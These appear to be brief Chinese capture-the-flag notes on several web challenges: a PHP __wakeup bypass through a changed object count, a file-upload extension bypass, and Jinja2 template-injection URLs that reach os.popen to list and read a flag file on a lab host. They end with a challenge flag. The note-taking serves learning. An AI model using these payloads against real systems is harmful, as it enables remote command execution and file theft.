绕过_wakeup
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
2.
逆向解码
3.
上传漏洞
看样子只是后缀检测,抓包改后缀
连一下
4.
模板注入
访问http://192.168.100.161:62264/%7B%7B[].class.base.subclasses()[59].init.func_globals.keys()%7D%7D,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中
5.使用[‘o’+‘s’],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
查看flag文件所在
访问http://192.168.100.161:62264/%7B%7B%22%22.__class__.__mro__[2].__subclasses__()[40](%22fl4g%22).read()%7D%7D
base64/4
flag=base64.b16decode(s)
flag{E33B7FD8A3B841CA9699EDDBA24B60AA}